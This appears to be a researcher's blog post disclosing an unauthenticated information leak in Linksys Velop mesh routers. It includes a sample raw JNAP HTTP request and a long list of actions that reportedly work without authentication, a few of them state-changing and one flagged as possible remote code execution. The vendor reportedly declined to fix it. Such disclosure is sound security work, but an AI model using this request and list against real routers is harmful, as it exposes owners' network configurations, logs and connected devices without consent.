puzzor@home:~$

Linksys velop information leak

Affected Software

The firmware version which I test is 1.1.2.185309

Product Background

Velop is WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system. There are three categories from their official site :WHW0303,WHW0302,WHW0301. The differences between these three is the pack count: 1, 2 or 3. The system are the same.

Vulnerability Details

Since the vendor marked this issue as wont fix, so this is only a risk.

The Linksys APP will use JNAP to communicate with the router, and there are many kinds of X-JNAP-Action can be made to request the router, we found the router can handle many actions without authentication. A sample request can be:

POST /JNAP/ HTTP/1.1
Host: 192.168.1.1
Accept: application/json; charset=UTF-8
Expires: Fri, 10 Oct 2015 14:19:41 GMT
Accept-Encoding: gzip, deflate
Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9
Cache-Control: no-cache
Content-Type: application/json; charset=UTF-8
Content-Length: 2
User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)
Connection: close
X-JNAP-Action: http://linksys.com/jnap/devicelist/GetDevices

{}

PoC

Beyond action of http://linksys.com/jnap/devicelist/GetDevices , the following actions can be also made without authentication, some of them need parameters while the others not:

  • nodes/smartconnect/GetSlaveSetupStatus (TBD see if there is useful information)
  • nodes/smartconnect/SmartConnectConfigure (possible RCE)
  • firmwareupdate/GetFirmwareUpdateStatus (nothing useful)
  • dynamicportforwarding/GetDynamicIPv6ConnectionRules(get ipv6 rules)
  • dynamicportforwarding/GetDynamicPortRangeForwardingRules (get forwarding rules)
  • dynamicportforwarding/GetDynamicSinglePortForwardingRules (get forwarding rules)
  • routerstatus/GetHeartbeatInterval (nothing useful)
  • nodes/setup/GetSerialNumber (TBD serial number may be used to calulate somethin, not sure)
  • nodes/setup/GetWANDetectionStatus (some WAN detection status, not too much useful)
  • nodes/setup/IsAdminPasswordSetByUser (get to know if users have set ADMIN password)
  • nodes/setup/SetAdminPassword(2018.04.04 not useful,reset code cannot be bruteforced)
  • nodes/setup/VerifyRouterResetCode(2018.04.04 cannot be bruteforced,10 times limit)
  • devicelist/GetDevices(lot of information, such as deviceID,serialNumber,firmwareVersion,isAuthority and so on)
  • devicelist/GetDevices3(lot of information, such as deviceID,serialNumber,firmwareVersion,isAuthority and so on)
  • devicelist/GetLocalDevice (get deviceID)
  • nodes/smartmode/GetDeviceMode(get to know what type of current node it is, like master of slave)
  • qos/GetLANQoSSettings (get QoS setting)
  • qos/GetQoSSettings (get QoS setting)
  • qos/GetQoSSettings2 (get QoS setting)
  • qos/GetWLANQoSSettings(get QoS setting)
  • routermanagement/GetManagementSettings (get management settings)
  • routermanagement/GetManagementSettings2 (get management settings, such as canManageUsingHTTP,canManageUsingHTTPS, isManageWirelesslySupported,canManageWirelessly,canManageRemotely)
  • routermanagement/GetRemoteManagementStatus(remote management status)
  • httpproxy/RemoveHttpProxyRule(remove a HTTP proxy rule by providing a ruleUUID)
  • locale/GetLocalTime (get time)
  • locale/GetTimeSettings(get time settings, like timezone,autoAdjustForDST and others)
  • ui/GetCloudServerStatus (get to know if current node is accessable to the cloud)
  • ui/GetRemoteSetting (get to know if it is enabled)
  • ui/SetRemoteSetting(set if it is able to get remote setting)
  • wirelessap/GetAdvancedRadioInfo (wireless info, not much useful info)
  • wirelessap/GetWPSServerSettings(if the WPS is enabled)
  • wirelessap/IsWPSServerAvailable(TBD if WPS server is enabled, not clear what is it)
  • routerleds/GetRouterLEDSettings(wireless LED setting)
  • ownednetwork/GetOwnedNetworkID(TBD get ownedNetworkID, may be useful)
  • core/GetAdminPasswordHint(not too much useful)
  • core/GetAdminPasswordRestrictions(not too much useful)
  • core/GetDataUploadUserConsent (false by default)
  • core/GetDeviceInfo(router info, such as serialNumber,firmwareVersion,hardwareVersion,services)
  • core/GetUnsecuredWiFiWarning(not too much useful)
  • core/IsAdminPasswordDefault(get to know if users have set ADMIN password)
  • core/IsRecoveryCodeProvided(nothing special)
  • core/IsServiceSupported(check whether a service is available)
  • core/SetUnsecuredWiFiWarning(not too much useful)
  • parentalcontrol/GetParentalControlSettings(get to know parent control setting)
  • diagnostics/GetDiagnosticsSettings(not too much useful)
  • networkconnections/GetNetworkConnections(not too much useful)
  • router/GetWANStatus2(not too much useful)
  • guestnetwork/GetGuestNetworkClients(get guest network clients)
  • guestnetwork/GetGuestNetworkSettings2(guest network settings)
  • routerlog/GetDHCPLogEntries(get DHCP log)
  • routerlog/GetIncomingLogEntries(get incoming log)
  • routerlog/GetOutgoingLogEntries(get outgoin log)
  • routerlog/GetSecurityLogEntries(get security log)
  • routerlog/GetLogSettings(log setting)
  • wirelessscheduler/GetWirelessSchedulerSettings(wireless scheduler settings)
  • guestnetwork/Authenticate(TBD interesting, dont know if we can brute force it or there will be vulnerability)
  • dynamicsession/GetDynamicSessionInfo(dynamic session info)
  • dynamicsession/GetDynamicSessions(dynamic session info)
  • ddns/GetDDNSStatus(ddns status)
  • ddns/GetDDNSStatus2(ddns status)
  • ddns/GetSupportedDDNSProviders(not too much useful)
  • router/GetDHCPClientLeases(not too much useful)
  • router/GetEthernetPortConnections(not too much useful)
  • router/GetExpressForwardingSettings(not too much useful)
  • router/GetIPv6Settings(ipv6 settings)
  • router/GetIPv6Settings2(ipv6 settings)
  • router/GetLANSettings(lan info)
  • router/GetMACAddressCloneSettings(MAC clone settings)
  • router/GetRoutingSettings(route settings)
  • router/GetStaticRoutingTable(routing table)
  • router/GetWANStatus(WAN status)
  • router/GetWANStatus3(WAN status)
  • routerupnp/GetUPnPSettings(UPnP settings)
  • firewall/GetALGSettings(ALG settings, but what is ALG?)
  • firewall/GetDMZSettings(DMZ Settings)
  • firewall/GetFirewallSettings(Firewall settings)
  • firewall/GetIPv6FirewallRules(Firewall settings)
  • firewall/GetPortRangeForwardingRules(port forward)
  • firewall/GetPortRangeTriggeringRules(port rules)
  • firewall/GetSinglePortForwardingRules(port formward)

Timeline

2018-03-04: Discovered

2019-02-05: Reported and the vendor marked this issue wont fix